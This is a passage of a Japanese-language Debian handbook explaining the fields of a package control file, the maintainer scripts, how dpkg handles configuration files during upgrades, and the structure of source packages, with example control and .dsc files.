Debian パッケージはインストールされるファイルのアーカイブというだけではありません。Debian パッケージには他の Debian パッケージとの関係性 (依存関係、衝突、提案) を表す情報が含まれています。さらに Debian パッケージにはスクリプトも含まれています。このスクリプトはパッケージライフサイクルのある時点 (インストール、削除、アップグレード) にコマンドを実行するためのものです。これらのデータはパッケージ管理ツールによって使われますが、パッケージングされたソフトウェアの一部ではありません。しかし、これらのデータはパッケージの「メタ情報」(ソフトウェア以外の情報のデータ) と呼ばれて、パッケージに含まれています。

5.2.1. 説明、control ファイル

control ファイルは (RFC 2822 の定義する) 電子メールヘッダとよく似た構造を使っています。たとえば、**apt** の control ファイルは以下のような内容を持っています。

```
$ apt-cache show apt
Package: apt
Version: 1.0.9.6
Installed-Size: 3788
Maintainer: APT Development Team <deity@lists.debian.org>
Architecture: amd64
Replaces: manpages-it (<< 2.80-4~), manpages-pl (<< 20060617-3~), openjdk-6-jdk (<< 6b24
    ➥ -1.11-0ubuntu1~), sun-java5-jdk (>> 0), sun-java6-jdk (>> 0)
Depends: libapt-pkg4.12 (>= 1.0.9.6), libc6 (>= 2.15), libgcc1 (>= 1:4.1.1), libstdc++6
    ➥ (>= 4.9), debian-archive-keyring, gnupg
Suggests: aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), apt-doc, python-apt
Conflicts: python-apt (<< 0.7.93.2~)
Breaks: manpages-it (<< 2.80-4~), manpages-pl (<< 20060617-3~), openjdk-6-jdk (<< 6b24
    ➥ -1.11-0ubuntu1~), sun-java5-jdk (>> 0), sun-java6-jdk (>> 0)
Description-ja: コマンドラインパッケージマネージャ
 本パッケージは、パッケージを検索、管理したりパッケージの情報を照会できるコ
 マンドラインツールを提供します。libapt-pkg ライブラリの全機能に低レベルアク
 セスできます。
 .
 次のツールが含まれます。
  * apt-get: 信頼されたソースからパッケージやパッケージの情報を取得したり、
    パッケージとその依存関係をまとめてインストール、アップグレード、および削
    除できます
  * apt-cache: インストールしたパッケージやインストール可能なパッケージに関
    して利用できる情報を検索できます
  * apt-cdrom: リムーバブルメディアをパッケージの取得ソースとして利用できます
  * apt-config: 構成設定へのインターフェース
  * apt-key: 信頼できる鍵を管理するインターフェース
Description-md5: 9fb97a88cb7383934ef963352b53b4a7
```

```
Tag: admin::package-management, devel::lang:ruby, hardware::storage,
 hardware::storage:cd, implemented-in::c++, implemented-in::perl,
 implemented-in::ruby, interface::commandline, network::client,
 protocol::ftp, protocol::http, protocol::ipv6, role::program,
 role::shared-lib, scope::application, scope::utility, sound::player,
 suite::debian, use::downloading, use::organizing, use::searching,
 works-with::audio, works-with::software:package, works-with::text
Section: admin
Priority: important
Filename: pool/main/a/apt/apt_1.0.9.6_amd64.deb
Size: 1107560
MD5sum: a325ccb14e69fef2c50da54e035a4df4
SHA1: 635d09fcb600ec12810e3136d51e696bcfa636a6
SHA256: 371a559ce741394b59dbc6460470a9399be5245356a9183bbeea0f89ecaabb03
```

BACK TO BASICS

RFC —インターネット標準

RFC は「Request For Comments」の略称です。RFC は一般的にインターネット標準になり得る技術の仕様を説明した技術文書です。標準化と決定の前に、これらの文書は公開レビューされます (そんなわけでこの名前が付いています)。IETF (インターネット技術タスクフォース) はこれらの文書の状態の進化 (標準化への提唱、標準化への草稿、標準) を決定します。

RFC 2026 ではインターネットプロトコル標準化の手続きが定義されています。

➡ http://www.faqs.org/rfcs/rfc2026.html

依存関係、Depends フィールド

依存関係はパッケージヘッダの Depends フィールドで定義されています。依存関係はパッケージを正しく動かすために必要な条件を定義しています。すなわち apt などのツールはこの情報を使ってインストールしたいパッケージの依存関係を満たすために必要なバージョンのライブラリをインストールします。それぞれの依存パッケージについて、要求を満たすパッケージのバージョン範囲を指定することが可能です。言い換えれば、バージョン「2.15」以上の **libc6** パッケージが必要という条件を表現する (「`libc6 (>= 2.15)`」と表記する) ことが可能です。バージョン比較演算子は次の通りです。

- << はより低いことを意味します。
- <= は以下を意味します。
- = は等しいことを意味します (「2.6.1」は「2.6.1-1」と等しくありません)。
- >= は以上を意味します。
- >> はより高いことを意味します。

満足すべき条件リストの中で使われるコンマは条件同士の区切りです。このコンマは論理「and」に解釈されます。条件リストの中で使われる垂直棒 (「|」) は論理「or」に解釈されます (これは「包含的論理和」で、「排他的論理和」ではありません)。「or」は「and」より高い優先度を持っており、必要に応じて何度でも使えます。このため、「(A or B) and C」は `A | B, C` のように表記できます。これに対して、「A or (B and C)」は「(A or B) and (A or C)」のように表記してください。なぜなら、Depends フィールドでは括弧を使って論理演算子「or」と「and」の優先度の順位を変えることができないからです。このため、これは `A | B, A | C` のように表記できます。

➡ http://www.debian.org/doc/debian-policy/ch-relationships.html

依存関係システムはプログラムの動作を保証する良いメカニズムですが、「メタパッケージ」を使う手もあります。メタパッケージは依存関係を表記するだけの空のパッケージです。メタパッケージはメンテナが事前に選んだ一連のプログラムグループのインストールを楽にします。すなわち apt install **meta-package** はメタパッケージが依存するすべてのプログラムを自動的にインストールします。**gnome**、**kde-full**、**linux-image-amd64** パッケージはメタパッケージの例です。

DEBIAN POLICY

Pre-Depends、Depends よりも厳しい要求

「先行依存」はパッケージヘッダの「Pre-Depends」フィールドに書かれており、通常の依存関係を完全なものにします。条件の書式は Depends フィールドと同じです。通常の依存関係とは、依存関係が記述されたパッケージの設定前に、依存関係にあるパッケージの展開および設定を行わなければいけないことを示しています。先行依存とは、先行依存関係が記述されたパッケージのインストール前スクリプトの実行前 (インストールの前) に、先行依存関係にあるパッケージの展開および設定を行わなければいけないことを規定しています。

先行依存は apt にとってとても重要です。なぜなら、先行依存関係はパッケージをインストールする順番を厳しく制約するからです。先行依存関係それ自体は、絶対に必要でない限り勧められません。先行依存関係を追加する前に、debian-devel@lists.debian.org の他の開発者に相談することをお勧めします。通常、次善策として別の解決策を見つけることが可能です。

DEBIAN POLICY

Recommends、Suggests、Enhances フィールド

Recommends (推奨) と Suggests (提案) フィールドは必須ではない依存関係を表すためのものです。最も重要な「推奨」依存関係のパッケージは、パッケージの提供する機能を大幅に改善するけれども、動作に必要不可欠ではないパッケージです。2 番目に重要な「提案」依存関係のパッケージは、そのユーティリティの機能を補完したり強化する可能性があり、他のパッケージではなくこのパッケージをインストールするのが極めて合理的であるようなパッケージです。

「推奨」パッケージは、それを必要としない理由を理解している場合を除いて、常にインストールされるべきです。逆に「提案」パッケージは、それを必要とする理由を理解している場合を除いて、インストールしなくても構いません。

Enhances フィールドは Recommends や Suggests フィールドと同様にパッケージを提案するためのものですが、使用法が少し違います。自分があるパッケージから利益を得る場合は Suggests フィールドにそのパッケージを追加し、自分があるパッケージに利益を与える場合は Enhances フィールドにそのパッケージを追加します。Enhances フィールドの良いところは、提案される側のパッケージを変更せずにそのパッケージにとって自分が有用であるという提案を追加できる、という点です。つまり、あるソフトウェアのアドオン、プラグイン、機能拡張のパッケージはそのソフトウェアを Enhances フィールドに載せることが可能です。数年前から存在したにも関わらず、Enhances フィールドはいまだに apt や synaptic など多くのプログラムから無視されています。Enhances フィールドの目的とは、Suggests フィールドによる伝統的な提案ではカバーできない提案をユーザに示すことです。

衝突、Conflicts フィールド

Conflicts フィールドでは、同時にインストールできないパッケージを指定します。このフィールドが使われるケースで最も多いのは、両方のパッケージが同名のファイルを含む場合、同種のサービスを同じ TCP ポートで提供する場合、互いの動作を妨げる場合です。

dpkg は、あるパッケージがインストール済みのパッケージと衝突を引き起こす場合、新しいパッケージがインストール済みのパッケージを「置換」するものでない限り、そのパッケージのインストールを拒否するでしょう (「置換」するものの場合、dpkg はインストール済みパッケージを新パッケージで置換します)。これ

に対して apt は常にあなたの指示に従います。つまり、もし apt に新しいパッケージをインストールするよう指示したのなら、apt は新しいパッケージをインストールする際に障害となるインストール済みパッケージを自動的にアンインストールします。

不適合性、Breaks フィールド

Breaks フィールドは Conflicts フィールドとよく似た効果を持っていますが、特別な意味があります。すなわち、Breaks フィールドを持つパッケージは Breaks フィールドに指定された他のパッケージ (または他のパッケージの特定バージョン) を「破壊する」という意味があります。一般的に、このような 2 つのパッケージの不適合性は一時的なもので、Breaks フィールドでは不適合性がある特定のバージョンだけを指定します。

dpkg はインストール済みのパッケージを破壊するようなパッケージのインストールを拒否します。apt は破壊されるパッケージを新しいバージョンに更新することで (新しいバージョンではこの問題が修正され、両パッケージが適合すると期待されます) この問題の解決を試みます。

この手の状況は更新によって後方互換性がなくなる場合に起こりうるかもしれません。具体的に言えば、新しいバージョンが古いバージョンと同時に動かない場合、特別な設定をしないと別のプログラムがうまく動かない場合です。Breaks フィールドはユーザがこのような問題に遭遇することがないようにしています。

提供されるアイテム、Provides フィールド

Provides フィールドはとても興味深い「仮想パッケージ」の構想を生み出しました。Provides フィールドは多くの役割を持っていますが、特に重要な 2 つを説明します。最初の役割は、Provides フィールドを持つパッケージは Provides フィールドに指定された一般的なサービスを意味する仮想パッケージに関連付けられている (サービスを「提供する」のは Provides フィールドを持つパッケージ自身です)、という意味を持たせる役割です。2 番目の役割は、Provides フィールドを持つパッケージは Provides フィールドに指定されたパッケージの機能を完全に置き換えており、Provides フィールドに指定されたパッケージの代替として Provides フィールドに指定されたパッケージに依存する他のパッケージの依存関係を満足できる、という意味を持たせる役割です。そのため、あるパッケージの機能を代替する別パッケージを必ずしも同じパッケージ名を使わずに作ることが可能です。

VOCABULARY

メタパッケージと仮想パッケージ

メタパッケージと仮想パッケージを明確に区別することは絶対に不可欠です。メタパッケージは真のパッケージで (真の .deb ファイルを含んでいます)、その目的は依存関係を表現するだけです。

これに対して、仮想パッケージは実体がありません。そして、仮想パッケージの目的は、一般的で論理的な基準 (提供するサービス、一般的なプログラムまたは既存のパッケージなどとの互換性) に従って複数の実体を持つパッケージを同一視することです。

「サービス」の提供　最初の場合について、例を挙げて詳細に議論しましょう。すなわち、すべてのメールサーバ、たとえば **postfix** や **sendmail** などは **mail-transport-agent** 仮想パッケージ「提供」しています。このため、動作にメールサービスを必要とするパッケージ (たとえば **smartlist** や **sympa** などのメーリングリストマネージャ) は、おそらくメールサービスを提供するであろうパッケージをたくさん依存関係に宣言する (たとえば、postfix | sendmail | exim4 | …のように宣言する) のではなく、たった 1 つ **mail-transport-agent** を宣言するだけで十分です。さらに、1 台のマシンに 2 つのメールサーバをインス

トールすることは無駄なため、メールサーバの機能を提供するパッケージは **mail-transport-agent** 仮想パッケージとの衝突を宣言します。例外的にあるパッケージとそれ自身との衝突はシステムによって無視されます。この手法により、2 つのメールサーバを同時にインストールできなくなります。

DEBIAN POLICY

仮想パッケージのリスト

仮想パッケージを有益なものにするためには、全員がその名前に同意しなければいけません。このため、仮想パッケージの名前は Debian ポリシーで標準化されています。メールサーバ用に **mail-transport-agent**、C 言語コンパイラ用に **c-compiler**、ウェブブラウザ用に **www-browser**、ウェブサーバ用に **httpd**、FTP サーバ用に **ftp-server**、グラフィカルモードのターミナルエミュレータ (xterm) 用に **x-terminal-emulator**、ウィンドウマネージャ用に **x-window-manager** などが定められています。

完全なリストはウェブの情報を参照してください。

➨ `http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.txt`

他のパッケージとの互換性　パッケージの内容が巨大なパッケージに統合された場合に、Provides フィールドはさらに興味深い役割を果たします。たとえば、**libdigest-md5-perl** Perl モジュールは Perl 5.6 では任意選択モジュールでしたが、Perl 5.8 (および **Jessie** に含まれる 5.20 などのその後のバージョン) では標準モジュールに組み込まれました。このため、**perl** パッケージはバージョン 5.8 から Provides: libdigest-md5-perl を宣言しています。そうすれば、ユーザが Perl 5.8 (とそれより新しいバージョン) を持っている場合、**libdigest-md5-perl** に依存するパッケージの依存関係を満足させることができるからです。そして最終的に実体を持つ **libdigest-md5-perl** パッケージは削除されました。なぜなら、古い Perl バージョンが削除されたことで実体を持つ **libdigest-md5-perl** パッケージはもはや存在意義がなくなったからです。

図 5.1　依存関係を壊さないための Provides フィールドの使い方

この機能はとても役立ちます。なぜなら、開発方向性の変化を予測することは絶対に不可能ですし、パッケージ名を変更したり他の時代遅れのソフトウェアを自動に置き換えたりすることを可能な状態にしておくことが必要だからです。

BACK TO BASICS

Perl、プログラミング言語

Perl (Practical Extraction and Report Language) はとても人気の高いプログラミング言語です。Perl にはすぐに使えるモジュールが数多くあります。これらのモジュールは非常に広い分野における応用をカバーし、Perl パッケージの包括的ネットワークである CPAN (Comprehensive Perl Archive Network) サーバで配布されています。

➨ `http://www.perl.org/`

➨ `http://www.cpan.org/`

Perl はインタプリタ型言語であるため、Perl で書かれたプログラムは実行前にコンパイルする必要がありません。このためプログラムは「Perl スクリプト」と呼ばれています。

過去に設けられていた制限　かつて仮想パッケージにはいくつかの制限がありました。最も重要な制限はバージョン番号がなかったことでした。先に挙げた例に戻ると、Perl 5.10 が存在する場合、Depends: libdigest-md5-perl (>= 1.6) という依存関係は満足されています (正しく言えば、十中八九は満足されています)。しかしながら、パッケージシステムはこの依存関係が満足されていることに気が付きませんでした。そして、パッケージシステムは指定されたバージョンが一致しないと仮定して最もリスクの低いオプションを選んでいました。

この制限は **dpkg** 1.17.11 で撤廃され、Jessie ではもはや関係のない話です。パッケージは自分自身が提供する仮想パッケージにバージョン番号を付けることが可能です。これを行うには Provides: libdigest-md5-perl (= 1.8) などのようにします。

ファイルの置き換え、Replaces フィールド

Replaces フィールドは、Replaces フィールドを持つパッケージが Replaces フィールドに指定された他のパッケージからも提供されるファイルを含んでおり、合法的に Replaces フィールドに指定されたパッケージから提供されたファイルを置き換える権利を持っていることを示すためのものです。Replaces フィールドがなければ、`dpkg` は別パッケージから提供されたファイルをインストール中のパッケージに含まれるファイルで置き換えることはできません。すなわちこれは他のパッケージのファイルは上書きできないことを意味しています (技術的に言えば、--force-overwrite オプションを付けることで強制的に上書き可能ですが、これは一般に認められていません)。このような `dpkg` の挙動により潜在的な問題を識別できるようになりますし、メンテナはこのフィールドを追加する前に問題の原因を追及できるようになります。

Replaces フィールドはパッケージ名が変更された時やパッケージが別のパッケージに統合された時に使われます。この状況はメンテナが同じソースパッケージから複数のバイナリパッケージを作成し、各バイナリパッケージから異なるファイルを配布するように方針を決めた場合に発生します。つまり、古いパッケージに含まれていたファイルがソースパッケージは同じでもバイナリパッケージの名前が異なる新しいパッケージに含まれるようになった場合に発生します。

インストール済みパッケージのすべてのファイルが置き換えられたら、このパッケージは削除されたとみなされます。最後に、Replaces フィールドは衝突がある場合に `dpkg` に置き換えられたパッケージを削除させる際に使われます。

GOING FURTHER

Tag フィールド

例として上に挙げた **apt** の control ファイルには、まだ説明していない Tag フィールドがあります。Tag フィールドはパッケージ間の関連性を説明するものではなく、単純にテーマ分類に基づいてパッケージを分類するものです。昔からパッケージはいくつかの基準 (インターフェースの種類、プログラミング言語、アプリケーションの分野など) に基づいて分類されていました。これにも関わらず、適切なタグがすべてのパッケージに付けられているわけではありませんし、まだすべての Debian ツールがタグを使えるわけではありません。たとえば aptitude はこれらのタグを表示しますし、検索条件としてタグを使うことも可能です。aptitude の検索条件に嫌悪感を抱く人は、以下のウェブサイトを使ってタグのデータベースを見ることが可能です。

➡ http://debtags.alioth.debian.org/

5.2.2. 設定スクリプト

それぞれの Debian パッケージには control ファイルだけでなく control.tar.gz アーカイブが含まれており、control.tar.gz には dpkg がパッケージ処理の各段階で呼び出す多数のスクリプトが含まれているかもしれません。Debian ポリシーでは、呼び出されるスクリプトとスクリプトが受け取る引数を明記することで、スクリプトの使われ方が詳しく説明されています。スクリプトが呼び出される順番はわかりにくいかもしれません。なぜなら、スクリプトのうち 1 つでも失敗したら、dpkg はインストールを中止するか (可能ならば) 進行中の削除を中止することでシステムを整合性のある状態に戻そうとするからです。

GOING FURTHER

dpkg データベース

インストール済みパッケージの設定スクリプトはすべて /var/lib/dpkg/info/ ディレクトリに、ファイル名がパッケージ名から始まるファイルの形で保存されています。このディレクトリには、ファイル名がパッケージ名に .list 拡張子を付けたファイルが含まれています。このファイルの内容はパッケージに含まれるファイルのリストです。

/var/lib/dpkg/status ファイルは (有名なメールヘッダ、RFC 2822、の形で) 一連のデータブロックを含んでおり、各データブロックは各パッケージの状態に対応します。この情報はインストール済みのパッケージの control ファイルから複製されています。

一般的に言って、preinst スクリプトはパッケージのインストール前に実行され、postinst はインストール後に実行されます。同様に、prerm はパッケージの削除前に実行され、postrm は削除後に実行されます。パッケージの更新とは、パッケージの古いバージョンを削除して新しいバージョンをインストールすることと等価です。ここで起こりうるすべてのシナリオを詳細に説明することは不可能なので、最も一般的なケースを 2 種類だけ挙げます。具体的に言えば、インストール/更新と削除について説明します。

CAUTION

スクリプト名の表記規則

この節の説明文では、old-prerm や new-postinst などの特定の名前を持つ設定スクリプトが登場します。old-prerm はパッケージの (更新の前にインストールされていた) 古いバージョンに含まれる prerm スクリプト、new-postinst は (更新によってインストールされる) 新しいバージョンに含まれる postinst スクリプトを指します。

TIP

状態遷移図

dpkg がどのように設定スクリプトを呼び出すかを説明する図が Manoj Srivastava によって作成されました。同様の図は Debian Women プロジェクトによっても作成されましたが、Debian Women プロジェクトの作った図は理解しやすいように少し単純化されており、Manoj Srivastava の作った図に比べると正確ではありません。

➡ https://people.debian.org/~srivasta/MaintainerScripts.html

➡ https://wiki.debian.org/MaintainerScripts

パッケージのインストールとアップグレード

以下にパッケージのインストール中 (または更新中) に何が起きるかを説明します。

1. 更新する場合、dpkg は `old-prerm upgrade` **new-version** を呼び出します。
2. 更新する場合、引き続き dpkg は `new-preinst upgrade` **old-version** を実行します。これに対して、初めてインストールする場合、`new-preinst install` を実行します。過去にもしパッケージがインストールされてさらに削除されていた場合 (完全削除されていない場合、古い設定ファイルがまだ残っている場合)、最後の引数に古いバージョンを追加します。
3. そして新しいパッケージのファイルが展開されます。あるファイルが既に存在した場合、そのファイルは置換されますが、一時的にバックアップコピーが作られます。
4. 更新する場合、dpkg は `old-postrm upgrade` **new-version** を実行します。
5. dpkg はすべての内部データ (ファイルリスト、設定スクリプトなど) を更新し、置換されたファイルのバックアップを削除します。これ以降はもう後戻りできません。つまり、前の状態に戻るために必要な情報がすべて失われたため、dpkg は状態を復元できません。
6. dpkg は設定ファイルを更新します。自動的にこの作業を完了できない場合にはユーザにどうするか尋ねます。この作業の詳細は第 5.2.3 節「チェックサム、設定ファイルのリスト」84 ページをご覧ください。
7. 最後に、dpkg は `new-postinst configure` **last-version-configured** を実行して、パッケージを設定します。

パッケージの削除

以下にパッケージの削除中に何が起きるかを説明します。

1. dpkg は `prerm remove` を呼び出します。
2. dpkg は設定ファイルと設定スクリプトを除くすべてのパッケージのファイルを削除します。
3. dpkg は `postrm remove` を実行します。すべての設定スクリプトは `postrm` を除いて削除されます。ユーザが「purge」オプションを指定しない限り、作業はここで終了します。
4. パッケージを完全削除する (`dpkg --purge` または `dpkg -P` が実行された) 場合、設定ファイルおよびそのコピー (`*.dpkg-tmp`、`*.dpkg-old`、`*.dpkg-new`) と一時ファイルも削除されます。さらに dpkg は `postrm purge` を実行します。

VOCABULARY

Purge、完全削除

Debian パッケージが削除されても、パッケージの設定ファイルは後々の再インストールを楽にするために削除されません。同様に、デーモンが作成したデータ (LDAP サーバディレクトリの内容、SQL サーバのデータベースの内容など) も削除されません。

パッケージに関連するすべてのデータを削除するには、`dpkg -P` **package**、`apt-get remove --purge` **package**、`aptitude purge` **package** などのコマンドを使ってパッケージを「完全削除」する必要があります。

「完全削除」によって削除されるデータに含まれる内容を考慮すると、安易に完全削除を実行するべきではありません。

上で詳細を述べた 4 つのスクリプトの実行を補助するのが config スクリプトです。config スクリプトはパッケージから提供され、debconf を用いて設定に必要な情報をユーザに入力させるために使われます。ユーザからの情報は debconf データベースに保存され、後から利用されます。このスクリプトは通常 apt によって各パッケージインストールの前に実行され、処理が始まるとすべての質問をまとめてユーザに尋ねます。インストール前後に実行されるスクリプトは、ユーザの希望を反映させるために、debconf データベースに保存された情報を利用します。

TOOL

debconf

debconf は Debian で繰り返し発生する問題を解決するために作られました。その昔、最低限の設定なしにはうまく動作しないすべての Debian パッケージは、最低限の設定を行うために postinst シェルスクリプト (と同様の別のスクリプト) の中で echo や read コマンドを呼び出すことにより、設定内容について質問していました。しかしこの方法では、ユーザは長時間かかるインストールや更新の最中、いつあるかわからないさまざまな質問に答えるために、コンピュータの前に居続けなければいけませんでした。debconf ツールのおかげで、今やほとんどの場合、このような手動設定法を採る必要はなくなりました。

debconf には多くの興味深い機能があります。具体的に言えば debconf を使うことで開発者は、ユーザに入力させる内容を規定したり、ユーザに向けて表示されるすべての文字列を地域化したり (すべての翻訳は入力内容を説明している templates ファイルに保存されます)、ユーザに質問を表示するためのさまざまなフロントエンド (テキストモード、グラフィカルモード、非対話型モード) に自前で対応させる必要がなくなり、複数のコンピュータで同じ設定を共有するためにユーザが入力した内容の中央データベースを作成したり、することが可能になります。しかし debconf の最も重要な機能はユーザに対するすべての質問が長時間かかるインストールや更新作業の前に行われる点です。ユーザはシステムがインストールを行っている間に自分の仕事をできます。質問に答えるために画面の前に居続ける必要はありません。

5.2.3. チェックサム、設定ファイルのリスト

前の節で既に説明したメンテナスクリプトと管理情報に加えて、Debian パッケージの control.tar.gz アーカイブは興味深いファイルを含んでいる場合があります。1 つ目は md5sums です。md5sums にはパッケージに含まれる全ファイルの MD5 チェックサムが列挙されています。md5sums のおかげで dpkg --verify はインストール以降ファイルが変更されたか否かを判断できるようになります (詳しくは第 14.3.3.1 節「dpkg --verify を使ったパッケージ監視」386 ページを参照してください)。パッケージが md5sums を提供しない場合、dpkg がインストール時に動的に md5sums を生成します (そして他の管理情報ファイルと同様に dpkg データベースに内容を保存します)。

conffiles では、設定ファイルとして取り扱われるべきパッケージファイルが指定されています。管理者は設定ファイルを変更でき、dpkg はパッケージの更新中に設定ファイルの変更を保存しようとします。

実際のところ、システムに現存する設定ファイルをパッケージから提供された設定ファイルで更新する際に dpkg はできるだけ賢明に振る舞います。以下に dpkg のデフォルトの設定ファイル更新処理規則を述べます。パッケージの更新前後でパッケージから提供される標準設定ファイルの内容が同じ場合、dpkg は何もしません。しかしながら、パッケージの更新前後でパッケージから提供される標準設定ファイルの内容が違う場合、dpkg はシステムに現存する設定ファイルを更新しようとします。ここでさらに 2 つの場合が考えられます。システムに現存する設定ファイルと古いバージョンのパッケージから提供される標準設定ファイルの内容が同じ場合、dpkg は自動的に新しいパッケージから提供される標準設定ファイルをパッケージ更新完了後の設定ファイルとして採用します。一方で、システムに現存する設定ファイルと古いバージョンのパッケージから提供される標準設定ファイルの内容が違う場合、dpkg は管理者に対してシステムに現存する設定ファイルまたは新しいバージョンのパッケージから提供される標準設定ファイルのどちらを更新後の設定ファイルと

して採用するかを尋ねます。この判断を手助けするために、dpkg は「diff」を使って 2 つの設定ファイルの内容の違いを表示します。管理者が現存する設定ファイルを選んだ場合、新しいバージョンのパッケージから提供される標準設定ファイルは同じ場所にファイル名の末尾に .dpkg-dist を追加して保存されます。管理者が新しいバージョンのパッケージから提供される標準設定ファイルを選んだ場合、現存する設定ファイルは同じ場所にファイル名の末尾に .dpkg-old を追加して保存されます。この段階では、一時的に dpkg の処理を中断してファイルを編集したり、もう一度バージョン間の違いを表示したり (先と同様に diff コマンドを実行する) することも可能です。

GOING FURTHER

設定ファイルの更新に関連する質問を回避する

dpkg は設定ファイルの更新を担当しますが、更新中に管理者からの入力を要求するため、更新作業は定期的に中断されます。この状況は非対話的に更新作業を行いたいと思う管理者にとって都合がよいとは言えません。そのため、dpkg には設定ファイル更新処理規則を指定して自動的に処理を進めるオプションが用意されています。具体的に言えば、--force-confold を使った場合はいかなる状況でも常にシステムに現存する設定ファイルがパッケージ更新完了後の設定ファイルとして採用され、--force-confnew を使った場合はいかなる状況でも常に新しいバージョンのパッケージから提供される標準設定ファイルが採用されます (これらのオプションを単独で使った場合、システムに現存する設定ファイルおよび更新前後のバージョンのパッケージから提供される標準設定ファイルの互いの内容の違いは一切考慮されないので、期待通りの結果を得られないことが多いです)。上記オプションに加えて --force-confdef オプションを使うと、dpkg は設定ファイル更新処理時に管理者の判断を仰ぐ必要が生じた場合に限り (言い換えれば、システムに現存する設定ファイルの内容が更新前後のどちらのバージョンのパッケージから提供される標準設定ファイルの内容とも違う場合に限り) 管理者からの入力を待つ代わりに --force-confnew または --force-confold に従って設定ファイルを更新し、それ以外の場合はデフォルトの設定ファイル更新処理規則に従って設定ファイルを更新するようになります。

--force-confold、--force-confnew、--force-confdef は dpkg のオプションです。しかしながらほとんどの場合、管理者は aptitude または apt-get プログラムを使って作業を行います。そのため、aptitude または apt-get プログラムから dpkg コマンドにオプションを渡すための構文を知らなければいけません (aptitude および apt-get プログラムのコマンドラインインターフェースはとてもよく似ています)。

```
# apt -o DPkg::options::="--force-confdef" -o DPkg::options
    ➥ ::="--force-confold" full-upgrade
```

dpkg に渡すオプションを apt の設定に直接保存しておくことも可能です。これを行うには、/etc/apt/apt.conf.d/local ファイルに以下の行を追加してください。

```
DPkg::options { "--force-confdef"; "--force-confold"; }
```

dpkg に渡すオプションを apt の設定ファイルに保存した場合、aptitude のようなグラフィカルインターフェースでもここで指定したオプションが使われるようになります。

GOING FURTHER

設定ファイルの更新に関連する質問を強制する

--force-confask オプションを使うと、dpkg は通常は質問の必要がない場合でも設定ファイルの更新に関する質問を表示します。このため、--force-confask を付けてパッケージを再インストールすると、dpkg は管理者が修正したすべての設定ファイルの更新に関してもう一度質問します。特にこれはインストール済みパッケージの設定ファイルが削除され、コピーも残っていない状態でパッケージから提供される設定ファイルを再インストールしたい場合にとても便利です。つまり、通常の再インストールでは駄目な場合にこれを使います。なぜなら、dpkg は設定ファイルの削除を意味のある変更の一種とみなしており、--force-confask が使われていなければシステムに現存する設定ファイルの状態 (削除状態) を維持してパッケージから提供される設定ファイルをインストールしないからです。

5.3. ソースパッケージの構造

5.3.1. フォーマット

ソースパッケージは通常 .dsc、.orig.tar.gz、.debian.tar.gz (または .diff.gz) の 3 つのファイルで構成されています。これらのファイルを使って、プログラミング言語で書かれたプログラムのソースコードファイルからバイナリパッケージ (前に説明した .deb ファイル) を作成します。

.dsc (Debian Source Control) ファイルは RFC 2822 ヘッダを含む短いテキストファイルで (第 5.2.1 節「説明、control ファイル」76 ページで述べた control ファイルと似ています)、ソースパッケージを説明し、他のどのファイルがパッケージの一部であるかを表明しています。メンテナは .dsc ファイルに署名することで、信頼性を保証しています。より詳しい情報は第 6.5 節「パッケージ信頼性の確認」123 ページをご覧ください。

例 5.1　.dsc ファイルの一例

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Format: 3.0 (quilt)
Source: zim
Binary: zim
Architecture: all
Version: 0.62-3
Maintainer: Emfox Zhou <emfox@debian.org>
Uploaders: Raphaël Hertzog <hertzog@debian.org>
Homepage: http://zim-wiki.org
Standards-Version: 3.9.6
Vcs-Browser: http://anonscm.debian.org/gitweb/?p=collab-maint/zim.git
Vcs-Git: git://anonscm.debian.org/collab-maint/zim.git
Build-Depends: debhelper (>= 9), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>= 2.6),
    ➥ python-gtk2, python-xdg
Package-List:
 zim deb x11 optional arch=all
Checksums-Sha1:
 ad8de170826682323c10195b65b9f1243fd75637 1772246 zim_0.62.orig.tar.gz
 a4f70d6f7fb404022c9cc4870a4e62ea3ca08388 14768 zim_0.62-3.debian.tar.xz
Checksums-Sha256:
 19d62aebd2c1a92d84d80720c6c1dcdb779c39a2120468fed01b7f252511bdc2 1772246 zim_0.62.orig.
     ➥ tar.gz
 fc2e827e83897d5e33f152f124802c46c3c01c5158b75a8275a27833f1f6f1de 14768 zim_0.62-3.
     ➥ debian.tar.xz
Files:
 43419efba07f7086168442e3d698287a 1772246 zim_0.62.orig.tar.gz
 725a69663a6c2961f07673ae541298e4 14768 zim_0.62-3.debian.tar.xz

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
```

```
Comment: Signed by Raphael Hertzog

iQEcBAEBCAAGBQJUR2jqAAoJEAOIHavrwpq5WFcH/RsdzCHc1oXXxHitU23hEqMj
T6ok29M1UFDJDowMXW75jQ1nT4WPUtvEGygkCHeoO/PvjEvB0sjU8GQlX+N9ddSB
aHfqfAYmVhADNGxrXQT5inZXUa8qGeeq2Sqf6YcWtsnuD56lDbvxkyf/XYopoIEl
oltfl05z/AI+vYsW482YrCz0fxNAKAvkyuPhDebYI8jnKWeAANoqmKpsNc/HYyvT
+ZiA5o57OiGdOKT6XGy3/FiF3dkHiRY8lXW7xdr1BbIgulwl9UmiUNwuxwOYbQO7
edtjiTJqOaFUA0x1zB/XGv5tHr1MjP8naT+kfVoVHTOox51CDbeu5D3DZY4imcY=
=Wtoa
-----END PGP SIGNATURE-----
```

バイナリパッケージと同様にソースパッケージにも依存関係 (Build-Depends) がある点に注意してください。依存関係の意味は、バイナリパッケージのそれとは全く異なり、このソフトウェアをコンパイルしてバイナリパッケージを作るのに必要なツールを表しています。

CAUTION

別の名前空間

ここで、ソースパッケージの名前とそのソースパッケージから生成したバイナリパッケージの名前を一致させる必要がないという点によく注意してください。単一のソースパッケージから複数のバイナリパッケージが生成されていることを知ったら、これはすぐに理解できるでしょう。このため `.dsc` ファイルにはソースパッケージ名を明確に指定するための `Source` フィールドおよび生成されるバイナリパッケージ名のリストを指定するための `Binary` フィールドが含まれています。

CULTURE

複数のパッケージに分割する理由

